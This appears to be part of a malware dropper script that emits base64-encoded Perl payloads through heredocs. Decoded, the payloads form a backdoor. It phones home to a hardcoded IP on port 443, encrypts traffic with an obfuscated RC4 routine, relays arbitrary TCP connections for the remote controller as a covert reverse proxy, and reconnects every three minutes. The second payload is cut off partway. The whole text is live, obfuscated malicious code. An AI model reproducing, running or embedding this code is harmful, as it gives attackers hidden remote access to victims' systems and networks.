KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_33() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODInOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl 